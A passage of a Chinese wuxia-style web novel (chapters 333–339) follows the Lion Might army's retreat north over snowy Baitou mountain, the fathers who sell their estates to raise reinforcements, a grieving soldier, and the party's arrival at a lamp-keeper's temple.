难怪整个营地未留一人值守,原来是早就抱定了全军必死之心。
将士们郑重地将义军的遗书揣进怀里,仿佛承载着这世上最神圣的使命。
这一刻,他们无比希望自己能活下去,终有一日,将这封遗书送达终点。
一旁的无义血卫们无法理解这种情感,不知眼前这些狮威军们为何肃穆而立,眼含泪花地回望着东南。
义军?
“义”这个字,大概是无义血卫们最不懂的东西。
生生豁出性命,只为让别人逃生?
不求财,不求女人,只求一个“义”字吗?
虽不理解,却颇为震撼。
没有一个无义血卫开口玩笑,他们卸下佩剑,与狮威军一同垂首,以示敬意。
最后再看一眼为之奋战了两年的东南。
来时三十万豪杰,离开时十九万腔愧疚和遗憾。
狮威军重整集结,望向北方高远的雪山,踏向北上的征途。
……
……
与此同时,幽州广原城内。
在叶峮和不言带着第一批募集到的马匹离开后,云中君将全族**在中堂,当众宣布解散所有马场、各自分家的决定。
任族人如何哭闹,舍不得云中君这个摇钱大树的倚仗,云中君也铁面不改,毫无商量的余地,逼着众人签下分家约书。
待中堂里哭啼和吵嚷散去,云中君独自来到云府最高的阁楼,俯瞰着这座他倾注了一生心血、即将分崩离析的府邸。
从一片荒地,到百万顷马场;
从一座破落小茅屋,到大气恢宏的“云府”;
青涩的少年变成“马王”,意气风发的时代已一去不复返,只剩两鬓斑白,书写着一代英雄的迟暮。
如今,宴席起,宴席散,一切又要归零,回到最开始的地方。
“唉——”
一声幽幽叹息唤回云中君的思绪,霍雷霆走上阁楼,与云中君并肩而立,同样望向整个府邸。
“十五万匹马,加上以你‘马王’名义招募起的八万民兵,应该足够去支援义军。叶峮他们脚程快,不用太担心。”
云中君不说话,只是摇头。
霍雷霆拿胳膊肘捣捣他,揶揄问:
“不是担心战事?那是舍不得这家业?也是,这么多宅子、铺子、地契和金银,七七八八给亲戚们分完,再除去给儿女们的,估计没剩多少。换我也得肉疼。”
云中君还是摇头,“你我都清楚,早晚会有这么一天。东宫是不会让‘霍’
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与‘云’结合的。除非有一方倒台失势,东宫才有点头的可能。所以,不是你霍帮解散,就是我云中君倒台。细算起来,还是我‘倒台’更划算些。”
“是啊,主动‘倒台’总比被动‘倒台’好,至少全族性命可以保全。”霍雷霆说着望向远方:
“不到万不得已,朝廷不会轻易放弃东南。由此可以猜想,北伐局面一定大大失利,才逼的狮威军不得不北上,还要向我们求援。希望叶峮带去的人可以守住东南防线吧,否则,战火早晚会烧进幽州,只怕谁也保全不得。”
“所以我准备亲自挂帅上阵。”云中君挺了挺已经有些老态弯曲的后背,声音洪厚又坚定:
“八万人马打叛军可以,但若要对抗接下来的二十万黑鳞骑兵,那还差得多。我要再募集一批人,把从前玄甲军那些退役的老家伙都喊起来,由我为帅,亲自去守东南防线。”
云中君说出这个思虑已久的决定,霍雷霆并没有意外的神色,甚至目光燃起兴奋:
“你都已经计划好了?再筹集多少人?”
“最少五万,上不封顶。”
“军费哪里来?”
“我把这宅子、草场都卖了。”
片刻的惋惜与沉默过后,霍雷霆开始故作玩笑地活动筋骨,摩拳擦掌道:
“那咱俩同去!我给你当副将如何?”
云中君上下打量一眼霍雷霆:
“算了吧,咱俩加起来快一百五十岁了,尤其你这一头白发,估计能让敌军笑出牙花子。”
“嘿呦喂——”霍雷霆不乐意了,“哥们儿我从前好歹是先锋军,请你放尊重点!”
“那现在也是‘老先锋’了!我答应过贤婿要照顾好你,不能食言。”
“照顾挺好了!在你这白吃白喝一年多,挺舒坦的!你可别想一个人充护国大英雄,咋了,‘中正忠君’,就你名气大,就你家会起名?我‘雷霆震敌’不响亮?”
“那你想多了。我爹没文化,给我们兄弟三人起的‘云前君’‘云中君’‘云后君’,我是老二,刚好叫‘云中君’而已,并没有什么含义在里头。”
“……”
“一起吧,咱们两把老骨头也该活动活动了,去会会穿黑皮的毛头小子们,说不定能打赢呢!”
“打不赢又如何?”
“打不赢?那也要搅个翻天覆地,留**名垂青史!”
“飞鸟尽,良弓藏。狡兔死,走狗烹。希望将来朝廷能看在我们的份上,成全两个孩子吧。”
“但愿吧。”
第334章 谁也无法独善其身
战争永远以死亡与废墟为触手,带走无数勇敢的灵魂。
胜利者在血海尸山上推杯换盏,用累累白骨**。
当所有人都还在为放弃东南而遗憾悲伤时,荣易怔怔地守着一具黝黑狰狞的尸体,脸上是几乎要结成冰的泪痕。
那是霍乾念不顾一切抢夺出来的“荣江”,将其捆绑在背上,从熊熊燃烧的叛军粮草库中逃出来,杀了叛军大将高俊杰,九死一生才回到狮威军。
人人都说,霍将军有情有义,那么危险的境地,却还不离不弃地将荣江的尸首背回来。
只有荣易咬着牙不吭声。
他一遍遍狠狠擦干眼睛,一遍遍翻开荣江的衣领,去确认那个已经被烧变形的“荣”字徽章,不愿相信这就是照顾了他一辈子的哥哥。
他血脉相连的亲哥哥。
他以为这世上永远不会离开他的人。
荣江就这么**。
没人对此感到意外。
在战场,每天都会死很多人。大将军的安危都不能保证,何况荣江。
与荣江生前相熟的几个将士围过来,哭了一场,七手八脚地将尸体抬进棺材,与花绝的棺材并排放在一起。
一个将士拿出一卷崭新的大红色封赏令,说是霍乾念刚刚签发的,追封荣江为将军位,却被荣易狠狠一把打开,低吼了句:
“滚!!”
几个将士无奈地摇摇头,慢慢离去。
荣易瞪着散落在地上的封赏令,只觉那字形极其刺眼,末尾带着“霍”字的将军印,更看得他眼睛通红,似是要喷火。
一瞬间,荣易想要暴起,想要冲到霍乾念面前去质问!
那么小心谨慎的荣江!真的如霍乾念口中所说!是被几个叛军**烧死的吗?!
还是荣江发现了什么不得了的阴谋?被霍乾念有所察觉!所以趁机灭口呢?
就在荣易想要不顾一切,直接冲出质问霍乾念的时候,一只苍白秀气的手,轻轻按在他的肩头。
云琛递过来一块黄糖,“吃点吧,蔷薇给你的。”
荣易扭头望去,蔷薇正在不远处看着他,一脸担忧紧张,不安地绞着手里的帕子,颇像一只孤独无助的小绵羊。
满腔怒火顿时消散,荣易明白蔷薇的忧惧。
一路跟着狮威军离开固英城,逃出东南,他是蔷薇孤注一掷的选择,是她如今唯一的依靠。
蔷薇担心他和荣江一样出事,极怕失去他。
一瞬间,荣易放弃了想去质问霍乾念的念头,他摇头苦笑,为自己的多疑感到幼稚。
若真是霍乾念所为,他何苦要将荣江的尸体背回来?
直接扔在火里多干净,何必背回来惹人生疑?
荣易看向云琛,望进那双永远不蒙一丝灰尘的眼睛,心里莫名发酸,禁不住簌簌落泪。
他抽泣着将黄糖放进嘴里,混着眼泪一起咽下。
云琛将大红色的封赏令卷起来,放在荣江身边,说句“荣将军一路好走”,然后将棺材板盖起来,亲手捶上四周的合钉。
她摸摸旁边花绝的棺材,而后望向远方,指着远处雪山上盘旋行路的长长队伍,对荣易道:
“看,是雷霆云纹的旗帜,他们要去东南剿叛军、守防线了。”
荣易顺着方向看去,一杆墨蓝色的大旗在雪山上颇为扎眼。
他已听说了,叶峮和不言去幽州募集来一支民兵义军,骑着云家草场上的马,已抵达叛军防线。
眼前这第二批是后又补充的,几乎全是几十年前玄甲军成立时的元老级旧部,全是孙子都会打酱油的老兵归队。
队伍平
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均年龄五十岁,比荣易的爹还大几年。
此外还有十五万匹耐寒的好马,载着重重的粮食和冬衣,正在往狮威军的方向而来。
听说是云家变卖所有家产捐赠来的,不收狮威军一分钱。
“主帅是谁?”荣易望向那蓝色大旗,内心由衷地感到敬佩。
“云中君,霍雷霆。”云琛端正地念出这两个名字。
荣易愣了:“那不是……那不是……”
云琛点点头,“是我爹,还有阿念的爹爹。”
荣易眼睛都睁圆了,惊问:
“可我听闻,霍老将军已七十多岁,年逾古稀。‘马王’云老将军也五十多了……”
“五十九。年初三月三过的生辰。”云琛接过话。
她定定地望着雪山上弯弯曲曲的队伍,眼神来回眺望,似乎想找到一个熟悉的身影,可惜分不清,只能看见一个个蚂蚁似的小点。
“唉,我还没给爹补生辰贺礼呢。”她轻声地叹息。
荣易似懂非懂,囔着鼻子建议:
“要不现在去补?从这快马过去,七日应该能到雪山,再六日应该能追上队伍,折回来大约还要十来天。”
太耽误北上了,云琛摇摇头。
她的眼神逐渐变得柔软、思念,又饱含骄傲。
不知是对荣易说,还是安慰她自己,她道:
“等他们打胜仗回来,等我们北上打赢洛疆……等大家好好坐在一张桌子上吧……我相信会有这么一天。真的。”
她用词笃定,荣易却清楚地听到她声音里强抑的脆弱。
看着雪山上风雪行进的队伍,宛若一条年迈却倔强的老龙,再看看身后的两副棺材,薄薄木板裹着挚友和至亲。
荣易心中悲痛,却也明白,这乱世之下,谁也无法独善其身。
第335章 雪人
除去战前的紧张备战、战时的忘我厮杀,以及战后的悲痛与创伤,军中生活其实非常枯燥,雪山行军更是单调无聊。
磅礴的雪山之后,总是另一座更巍峨高耸的山峰。
广阔无边的天空与茫茫雪原交接无尽,人仿佛沙粒一样渺小,走上几天几夜,还像在原地打转。
只有越来越冷的冬风吹在脸上,才让人感觉到是在前进的。
天气好的时候,将士们踩着膝盖深的积雪艰难拓路;
遇到天空阴沉,大雪将至的时候,队伍会驻扎在背风处,等风雪过去再行军。
有时还会像现在这样,寒流刮起呼呼的白毛风,队伍一连停留好几日,不得往前。
营地四处安安静静。
主帐里暖烘烘的,厚重的帐帘将风雪严严实实挡在外面。
炉子里山木烧得通红,将一锅雪酿米酒沸得清香四溢,不停咕咕冒泡。
桌上摆着一只巴掌大的珍珠鸡,两条冷水鱼,一碟水煮盐花生,一盘清炒冬笋,还有一碗青菜豆腐汤,凑成一桌不可多得的“饯行佳宴”。
霍乾念向山寂举杯敬酒:
“大哥,这次多谢你。不然琛儿病得险,我亦无暇分身去偷袭叛军粮草库。若不是大哥出手,只怕我们如今还困在防线里。”
山寂不在意地摆了下手,刚仰头喝完一杯,旁边的云琛在与霍乾念一阵“眉来眼去”后,笑眯眯地端着杯子凑过来,与山寂的杯子碰了一下,笑道:
“飞鱼哥哥武功盖世无双,从叛军防线来回,犹如进出家门一般轻松。多亏飞鱼哥哥的风寒药,才叫我好得这么快。”
第一次被云琛敬酒,山寂焉有不喝之理。
喝罢,云琛立刻屁颠屁颠地又为山寂满上一杯:
“哥,你真的不与我们多留几日,这就要走?”
“不了。”山寂说:“若我孤家寡人也就罢了,还有那么多弟兄跟着一起出来,不便久留。”
霍乾念再次敬酒:“那便祝大哥一路平安。以大哥身手,无义血卫定然与日俱兴,称霸江湖指日可待!”
“对对对!”云琛颇为狗腿地点头附和,又为山寂满酒。
就这么被霍乾念和云琛夹在中间,左一句美眼,右一杯美酒,山寂不觉十几杯下肚,喝得通体舒泰。
打量山寂神色愉悦,云琛狡黠一笑,将只鸡腿捧到山寂嘴边,开始装模作样地闲聊:
“哥,无义血卫这么厉害,一年收入抵得过整个霍帮了吧?肯定存了好多钱吧?”
山寂咬一口鸡腿,押一口酒,道:
“那倒不至于。无义血卫们都是些无亲无故的逍遥人,挣多少,花多少,报酬虽丰,但不是花在女人身上就是花在酒上,剩不下几个子儿。不过门中历代掌门都有积蓄,倒不愁钱。”
“大哥太谦虚了。”霍乾念插话。
“就是就是!”云琛竖起大拇指,“飞鱼哥哥这般大气的人,出手便是千万两,是财大气粗的豪阔人!”
山寂嚼着嘴里的鸡肉,越吃越不对味,挑眉问:
“你俩是没钱了吧,想让我给这次无义血卫来的费用打个折?”
云琛“嘿嘿”一笑:“哪能啊!飞鱼哥哥这趟着实辛苦,一分不能少!”
接着她话锋一转,将那装珍珠鸡的盘子端起来,“郑重其事”地凑到山寂面前:
“一码归一码,该给飞鱼哥哥的一分不能少,该给我们的也不能少——
霍乾念立马捧哏似的接上,一本正经道:
“大哥,今日为给你饯行,特意杀了狮威军镇军之宝九彩吉祥如意珍珠鸡,一只三千五百万金,除去欠你的,你再给我两千万两金就行——哎哎哎别走啊——”
霍乾念话还没说完,山寂已将嘴里鸡肉全吐出来,拔腿就往外走,边走还边笑骂:
“**!不付钱就算了,还想让我倒贴?瞧这一唱一和的!真是好一对贼夫妻!”
不顾霍乾念和云琛在身后怎么“花言巧语”,山寂只觉此地不宜久留,赶紧有多远跑多远。
出了主帐,山寂准备招呼无义血卫们赶紧跑路,路过一处帐子时,却被一个正练习挥剑的身影吸引了注意。
一来,风雪这么大,人人都窝在帐子里取暖,山寂很难不注意到这个顶着风雪练剑的傻子。
二来,那挥剑的动作着实蠢笨迟钝,看得山寂忍不住砸牙花子。
这三来嘛,是那练剑的身段太打眼了。
军中女人比金子还稀罕,再加上共乘过一匹马穿越防线,山寂一下就认出那是霍阾玉。
他不紧不慢地走上前,抱着胳膊靠在帐篷旁,饶有兴趣地看着霍阾玉。
霍阾玉浑然不知,全神贯注地用剑在空中劈、刺、砍,眼神凌厉又幽暗,像是要和空气里看不见的敌人同归于尽似的。
似乎是陷入了某种异样纷乱的思绪,霍阾玉的剑越挥越快,剑身的力道也越来越大,最后一下直接将她整个人带飞,一头摔趴进雪地里。
她爬起身,拍打身上的雪,被雪粒子呛得连连咳嗽,这才注意到一旁有个血红色的高大身影,吓得她瞬间回身,退出去好几步远。
瞧着她狼狈至极如惊弓之鸟的模样,山寂眯了眯眼睛,有了些不好的猜想:
“谁欺负你了?”
这么没前没后的一句,看似莽撞,却叫霍阾玉莫名少了许多戒心。
她捡起掉落的剑,也不理山寂,继续挥剑练习。
琢磨了一瞬,山寂又问:
“黑鳞骑兵?”
听见这四个字,霍阾玉一下就失了挥剑的力气,两腿一软,整个人就要摔倒。
山寂眼疾手快,眨眼已飞身到霍阾玉身旁,扶着她站稳。
也不去看霍阾玉脸色怎么惨白,不继续问发生了什么,有什么难解的心事,需不需要安
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慰?
山寂一句多余的话都没有,自顾在地上开始堆雪人。
堆完了雪人身子,他将一大团雪瓷瓷实实地捏在一起,手里掂量了两下,觉得差点意思。
他便又寻了块大石头裹进雪球,而后放在雪人身子上充当头部,对霍阾玉道:
“看准头和身子之间的空隙,马步扎开,剑锋斜着劈出去。除非对方修炼炁,已令五脏和经脉全部移位,否则必定准确击中颈脉,一击即杀。就算不准,劈到石头也不怕,就当是磕在骨头上,人的头骨很硬,和石头差不多。你试试。”
犹豫了一下,霍阾玉调整好姿势,深吸一口气,狠狠挥剑,干脆利索地砍掉了雪人头,剑刃果然磕在了石头上。
好在她已有心理准备,并不害怕,只是被震得双手发麻。
山寂再次将石头和雪捏在一起,放在雪人身子上,笑道:
“劈得好。再来!”
一剑又一剑。
雪人头一次次碌碌滚地。
她多么希望此刻砍下的是黑鳞骑兵的人头,那样她也许就不会再夜夜噩梦。
梦见那黑压压的长长的队伍排在她身后,用黑色的、冰冷的铠甲贴近她……
“你想上战场?和琛儿一样?”
“不。我只想杀黑鳞骑兵。”
“想杀几个?”
“一百七十三个。”
呼啸的冬风带来更猛烈的雪花,山寂的声音散在风中,有一种冷冰冰、坚硬可靠的锋利。
“我门中有一种特制的铁箱子,专门用来装人头的。每次无义血卫们完成暗杀任务,都得将人头带回做凭证。但人头滴血,易腐坏,不好携带,便每次用松油、树脂或者雪,将人头裹成雪球样子,再放进铁箱里,带回门中。”
霍阾玉不知道山寂为什么突然说这个。
山寂则看着霍阾玉漆黑的眼睛,如漂亮的宝石一般,镶嵌在雪白无瑕的皮肤上。
她像一只过早踏入危险丛林的小野兽。
虽然忧郁、弱小又可怜,却怎么也掩盖不住骨子里正肆意生长的倔性。
“没什么,说给你听个新鲜罢了。”山寂似笑非笑,而后挥挥手,头也不回地离去。
霍阾玉没有多理会,学着山寂的样子团雪人、砍雪人,直到累得胳膊都抬不起来,才一头扎进帐子里睡觉。
第二日,天刚亮,霍阾玉便被帐子外的嘈杂声吵醒。
她寻着人声走出帐子,几个将士正站在不远处,对着她的帐子指指点点。
她定睛看去——
只见帐子四周的空地上,密密麻麻摆满了身披黑布的雪人。
不多不少,正好一百七十三个。
一瞬间,霍阾玉头皮发麻,噩梦与往事涌上心头。
但下一刻,她拿起剑,握着冰凉结实的剑柄,只觉得内心愈发宁静。
有一种比恐惧更强大的力量,正在悄悄填满她的心。
第336章 养花呢?
白头山,终年覆雪,陡峭凌寒。
过了这座山,就正式进入洛疆地界。
在无义血卫们甩着堆了一晚上雪人、累到酸痛的手离去后,狮威军在山脚停下驻扎。
三日后,叶峮与不言押运着十五万匹战马和粮草,终于赶来与大军汇合。
将士们穿上厚实的冬衣铠甲,拿上武器,跨上战马,瞬间信心大增。
这时,东南线又传来大胜的捷报。
在云中君和霍雷霆的带领下,一帮老兵虽然年纪大了,但本事不孬。
一出手就将叛军打得哭爹喊娘找不到北,联合义军大破叛军防线,歼敌大半,颇有将叛军一举剿灭之势。
这大好消息无疑是一剂定军心的良方,扫去狮威军数月困苦的阴霾,令全军振奋不已。
霍乾念和云琛开始带领全军重新整编清点。
整军完毕,一桩愁人的事情出现在眼前。
当时狮威军撤离东南时,有一些百姓跟着队伍一起撤出来。
随着一路北上,越来越冷,百姓们陆陆续续各自离开。
但还有几十个百姓无家可归,竟一路跟着狮威军走到白头山,说什么也不肯走,就连云琛亲自去劝都没用。
见几十个百姓中,有七八个容貌姣好的姑娘们聚在一起,其中就有和荣易相好的蔷薇。
云琛便喊来荣易劝说,将劝离百姓的差事交给他,省得他因为荣江的事终日颓废,窝在帐子里不出来。
云琛将荣易从榻上薅起来,将事情一说,后者抹了把胡子拉碴的脸,睁开红肿的眼睛,有气无力地问:
“我的相好?哪一个?”
云琛差点就要上手去拧荣易的脑袋。但看在他心情还未恢复的份上,她忍住没动手,骂道:
“三天两头来看你的那位姑娘啊!你特么还问哪一个?!”
这下荣易更迷茫了:“茉莉?苍兰?芍药?杜鹃?还是谁?”
云琛愣了,气道:“是蔷薇!我说哪来那么多漂亮姑娘呢!敢情全是你的相好??你特么搁这养花呢??”
云琛将荣易这个四处留情的“渣男”拽到姑娘们面前,刚准备作为“渣男”的直属上司,为治下不严道个歉。
谁知姑娘们见了荣易垂头丧气被揪着衣领的样子,立刻心疼地围上来嘘寒问暖。
蔷薇更是心疼地拿帕子给荣易擦脸,就差将人抱在怀里哄了。
姑娘们将云琛挤在一边,七嘴八舌地关心起荣易:
“易哥哥,你别难过了,看你这样,我心里更难受……”
“快拿毯子来给易哥哥披上,别冻着了。”
“易哥哥,你饿不饿?我给你煮碗甜汤喝?”
云琛被这一幕惊得目瞪口呆。
但见姑娘们一路跟着狮威军行路而来,个个衣衫整洁、白白净净,一点委屈都没受的样子,就知荣易平常待她们都极好。
荣易虽仗着一副英俊皮囊,到处花心浪荡,但绝不是个提起裤子不认帐的浑货。
他处姑娘都是两情相悦,分手也是好聚好散。
只要姑娘跟他好一日,他便掏尽家底对人家好一日。
狮威军撤离东南时,荣易挨个去问了姑娘们,都说愿意跟着他一起走,这才出现在队伍里。
云琛忍不住啧啧感叹:
“得亏这小子有钱,不然还真养不起这么些‘花朵’。”
姑娘们的去处就交给荣易吧,三妻四妾娶了也好,买宅子给姑娘们安家也罢,都是荣易的私事。
剩下的老百姓怎么办呢?全是有老有小拖家带口的,非求云琛在军中给他们找份活干。
云琛好说歹说地劝了一个时辰,嗓子都冒烟了,也没人听。
最后惊动了霍乾念,他站在众人面前,什么话都没说,宛若一尊肃佛威严而立,令所有人不自觉噤声。
除了云琛,所有人——哪怕是第一次见面的,
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都怕霍乾念,这点已见怪不怪。
霍乾念将随身的水壶解下来,递给云琛润嗓子,同时往她手里塞了块梨糖润喉,而后对百姓们说:
“诸位,过了这座山就是洛疆。大家都知道我们要北上打仗,却从来不知前方到底是什么。”
云琛猜到霍乾念要说什么,她很惊讶他要违背朝廷不许透露消息的命令,但没有开口阻拦。
她一向认为:阿念做事周全,一定自有思量。
霍乾念道:“储君殿下带了四十万大军北伐洛疆,北伐军已全军覆没。这就是狮威军必须弃东南北上的真正原因。从前不说,是怕乱民心,如今狮威军一去,生死难料,大家跟着我们只会更危险,所以不得不据实相告。请大家去法算官处领八十两安家费,自行安去吧。”
话音落下,百姓们震惊不已。
有人直接哭了出来:
“原来……原来你们不是放弃东南的逃兵……你们……你们是要去那个已经**四十万人的火坑啊……”
背负着整个东南甚至天下的骂名,狮威军竟是要去一个比东南战场更危险的地方。
前方等待着他们的是万人尸坑,是苦寒荒漠,更是洛疆的百万雄兵。
百姓们带着这一真相离开狮威军,消息很快传遍楠国大地。
人们悲痛于四十万同胞将士的亡故,更为狮威军撤离东南时所承受的冤屈不平。
一时间,整个东南都对狮威军愧疚到无以复加,辱骂过狮威军们“孬种”“逃兵”的人们更是悔不当初,捶胸顿足地悔恨痛哭。
虽然处在黑鳞骑兵的严酷管制下,东南还是悄悄兴起一个说法:
东南愧之深,悔之切。若狮威有归,东南定山崩附之。
倘若狮威军能活着回来,东南将誓死追随,绝无二心,以弥补愧悔之情。
在举国自责与祈祷平安的声音中,狮威军开始向白头山挺进。
第337章 浴神行
俗话说,望山跑死马。
狮威军一连行进了七八天,却连白头山的山腰都没到。
寒风刀子似的刮着面,雪逐渐深到腰部,将士们只能牵马前行,用手里的刀在前探路。
云琛手里拿着一根打狗棍,没了饮血剑,她拿什么都不自在,心里总是不踏实。
叶峮也是使剑的行家,自然知道云琛难处。
这次从幽州回来,他特意搜罗了十几把好剑,云琛挨个试过,可惜都不趁手,总是差点意思。
她将已只剩剑柄和半截剑身的饮血剑背在身上,又想起江鸣,心里空落落地难受。
“琛儿,隐月也使得,你从前用的极好。”霍乾念第一百八十次将隐月剑塞给云琛。
云琛也第一百八十次地回绝:
“我拿了隐月,你就没有趁手的,打起仗来还是危险,算了。”
这时,不言想出个馊主意,在雪中扭着腰胯,费力地从后方“游”过来,道:
“要不找个好铁匠,把隐月和饮血一块熔了,打两把新剑出来?这样少主和阿琛就都有剑了,咋样?”
叶峮一听,差点被气笑,张嘴灌了一大口风雪,咳嗽两声道:
“就那点铁,还打两把?打两把烤肉签子吗?再说了,一般铁匠能打出那么好的剑?别到时候白瞎了隐月,少主和阿琛都没兵器了。”
“也对。”不言开始琢磨:“这咋办呢,马上要打洛疆了,阿琛没剑可不行。阿琛虽然是剑术高手,但兵器如兄弟,兄弟如手足,女人如衣服,衣服可以换,兄弟可不能换,啊不,我是说剑可不能换,这非常影响阿琛的发挥……”
估计是老天爷都忍不了不言的絮叨,风雪越来越大,时不时吹落山上的雪块,纷纷砸在众人头顶。
云琛抓了把雪,扔向不言的嘴:
“你消停的吧,这方圆百里连个鬼影都没有,谁给我打剑?”
“谁说的?鬼影没有,人影有的。”不言指向山腰,“瞧,那有个道观,有灯火亮着呢!”
众人齐齐看去,眼珠子都快瞪出来了,也没看见个什么“道观”“火光”。
叶峮摸摸不言的头,“你病了?发烧说胡话?出幻觉了?”
不言一把打开叶峮的手,“哎呀!我是飞府衔试的第一名!有一项要求数飞鸟的鸟毛的,我眼睛好着呢!你们仔细点看!”
望啊望,等队伍又往山上走了一个多时辰,云琛才勉强看见,半山腰确实有针尖大的一点昏黄。
要不是不言一遍遍给她指,她根本注意不到,更别说能看清啥道观了。
云琛与霍乾念对视一眼,同时望向霍阾玉,默契地明白了彼此的意思。
整个队伍中,荣易相好的姑娘们全都留在楠国,安置去城里了,百姓们也都领了银两散去,现在只剩一个霍阾玉。
霍乾念叫她回京都去,她说不,要杀黑鳞骑兵。
云琛叫她寻一个喜欢的地方,在那里等狮威军回来,她也说不,说等杀够一百七十三个黑鳞骑兵,她就离开。
真不知道谁给了霍阾玉那么大的嚣张自信,叫她认为练了几天砍雪人就可以上战场了。
霍乾念和云琛一直琢磨着找个安全地方,想法子将霍阾玉留在那里。
现在眼瞅要过白头山了,四周却荒得连村子都没有。
如果半山腰上的真是个道观,那将霍阾玉留在那里,再通知人来接她,再合适不过。
霍乾念和云琛交换完眼神,借口去探路,命荣易和罗东东继续带着大军爬雪山,他俩则带着霍阾玉、叶峮和不言,五个人往道观而去。
越往山顶走,风越大,叶峮和不言在最前面
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探路。
不言身子细瘦,被风吹得摇摇摆摆,叶峮牵着他,像牵了片人形风筝似的。
霍乾念和云琛走在后面,云琛左手拉着霍乾念,右手牵着霍阾玉。
两边是相似的气质,相似的幽怨的脸。
云琛再一次面临这种不可描述的纠结和割裂。
她紧盯脚下的路,脑袋竖得比旗杆都直,左右谁都不去看,祈祷着快点到达道观。
五个人互相搀扶,顶着寒风肆虐向上爬。
不过几十丈的距离,五人爬得气喘吁吁。
到最后,霍阾玉的意识都有点模糊了,全靠云琛牵着走。
这一路辛苦,自不必多说。
随着天色越来越晚,那针尖小的昏黄也越发显眼变大。
五人终于在天黑前抵达道观。
说是道观,其实更像个小庙,开凿在半山腰的山洞里,用石头和枯木搭建而成,没有任何装饰,和这雪山一样简单到极致,也大气秀美到极致,像个仙家修行的小憩之处。
不过令人奇怪的是,庙门不似寻常规制。
三扇门全都用巨大厚重的冰块雕刻成镂空模样,下窄上宽,门头极高,一直延伸到山壁里。
不言后退几步,全盘打量片刻,疑问道:
“我瞧这不僧不道的,看起来怎么像一盏大号风灯似的?”
被不言那么一形容,其他几人也都后退几步去看,还真是。
整座庙像一盏镶嵌在山壁上的巨大风灯,昏黄的暖光从冰雕的大门里溢出来,照得冰门流光溢彩,像是为茫茫黑夜中行路的人照亮前路。
叶峮上前叩门,无人回应,他用力去推,门也纹丝不动。
五人在门口寻来寻去,没找到别的入口,只发现一块藏在白雪下的石碑,龙飞凤逸地写着几个大字:
浴神行。
第338章 白头守灯人
“何时山变海,地生雨,雪成金,沙漠翰林似银河?”
“浴神行”的三个大字下面,还刻着这样一行小字。
五人面面相觑。
不言笃定道:“这是叫我们答对问题才许进入的意思。我在话本上看过,隐士高人都是这样,住在险峻的神仙福地,只有答对问题的人才能进门。”
好幼稚……
但很符合不言痴迷话本的性子。
叶峮思索着:“这问题的意思是,什么时候高山变大海,大地生出雨水而不是天上,白雪变成金子永不消融,沙漠变成森林?这怎么可能,做梦才能实现吧?”
说罢,叶峮不信邪地又去推门,大门依旧纹丝不动。
霍乾念沉吟片刻:
“山崩地裂时?日新月异时?”
作为狮威军最强大脑的存在,众人一致认为应该就是这个答案。
叶峮赶紧冲门大喊:“山崩地裂日新月异时!”
声音落下,回应叶峮的只有呼啸的寒风和纹丝不动的冰雕大门。
一片略微尴尬的沉默中,霍乾念的脸上闪过一丝僵硬。
旁边的霍阾玉试探着说:
“镜中万物倒置。会不会是‘镜花水月’?”
叶峮又对着大门喊了嗓子“镜花水月?”
不出意料,大门依旧没有要开的意思。
众人有点泄气了,商量干脆还是直接点,用暴力解决得了。
叶峮“嘿呦嘿呦”地带头喊起口号,五人使出牛劲,正推得热闹时,一个不悦的声音从身后响起:
“你们在吵嚷什么?!”
五人赶紧停手,回头望去。
只见一个披头散发的老者出现在众人身后,显然是庙的主人。
白头山天寒地冻,老者却只穿着单衣和草鞋,手腕和脚腕都被冻得通红,身后还拉着一大捆柴火,像是刚砍柴归来的。
五人与老者大眼瞪小眼。
老者明显一脸不悦,像是要发火。
正当霍乾念想着该怎么打圆场时,云琛注意到老者被风吹得凌乱的单薄衣衫,露出的胸膛枯黄又干瘪,隐约可见瘦骨嶙峋的身子。
她本能地心疼起来,便将自己的披风解下来,上前披在了老者身上。
这动作几乎是瞬息之间的想法,完全不带任何考虑。
等她与老者惊讶的眼神对视上时,她才反应过来自己很失礼。
然而那老者却定定地看了她好一会儿,目光落在她男子式的束发和军制铠甲上,久久无法移开。
已不是第一次被这样饱含惊讶、深情、明明在看她却又不像是在看她的眼神所注视,云琛略一思忖,便猜和江鸣、东炎皇帝一样,眼前这人,大约也是皇后娘娘的故交。
她赶紧后退一步,单膝跪地行礼,自报家门:
“晚辈云琛,师承江鸣,家自幽州云氏。”
“你不像江鸣教出来的徒弟。太不像。”老者笑着说,脸色缓和许多,叫气氛松弛下来。
其他几人虽不知老者是谁,但见对方是云琛师父的故交,也纷纷行礼问好。
叶峮不好意思地说:“前辈莫怪,我们是狮威军的,要翻雪山北上,途经此地,想借贵宝地休息片刻,多有打扰,请前辈海涵。”
“是的是的!”不言指着一旁的石碑,从旁补充:
“这上面的问题我们也回答了,怎么答都不对,门都不开。外面太冷,我们冻得不行,只能合力去推门。老人家,您这门也太结实了,怎么都推不开啊!”
老者显然不太想搭理叶峮和不言,用看傻子一样的眼神将两人打量了一番,而后走到冰雕大门前轻轻一拉,门随即打开。
空气顿时陷入凝固。
沉默了许久,几人红着脸,低着头,随老者走进大门。
“我特娘第一次见朝外开的门……
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”叶峮脸红得像猴子屁股,小声说道。
不言尴尬地用脚趾抠地:“原来不用答题啊……娘的……写话本的家伙骗人!”
霍家两兄妹长这么大还是第一次经历这么尬的场面,话都不好意思说。
云琛倒没什么,帮老者拉着柴火并排走,一边走,一边四处张望。
从外看,这不僧不道的庙不算大,进来才发现别有洞天。
庙像是在天然洞穴上修筑的,进门首先是高深的正殿,中央摆着一座巨大的火炉,烘得灯火通明,却不灼热。
火炉之后,墙壁上有一座天然形成的石台,供放着一把漆黑骇人的乌金大刀,看起来足有千斤之重。
正殿左右两边全是通道相连的小石室,有的里面摆满字画,有的全是上好的绸缎衣裳,还有全是盆栽犀梅的石室。
有一个石室里还堆积着数不清的金银财宝,几乎都要溢出来了……
整个地方看起来不伦不类、肆意混搭,有种既颓废又潇洒的矛盾感,和那老者身上的气质差不多。
唯一相同的是,到处都是灯盏、蜡烛、火把,底下凝着三尺厚的烛泪和木灰,将四周照得亮如白昼,像是从来没有熄灭过的样子。
老者示意云琛将柴火放下,自顾往火炉里添补些,又将所有燃烧尽的蜡烛换下来,点上新的。
云琛好奇:“前辈,您一直住在这里吗?为什么不住在舒适些的地方?这么冷的天,那些绸缎衣服怎么不穿呢?”
“嗯,快三十年了。”老者只回答了这一句。
五人面露惊讶,实在想不到,一个人怎么可以在这么冰冷荒芜的地方住三十年。
“与世隔绝”听着很浪漫,可只有一日一日住起来,才能体会到那无边的孤独和寂寞。
然而老者下一句话,却让五人更为震惊和佩服:
“灯火不能灭,添柴不能歇。”
第339章 试刀
“灯火不能灭,添柴不能歇。”
三十年极寒不说。
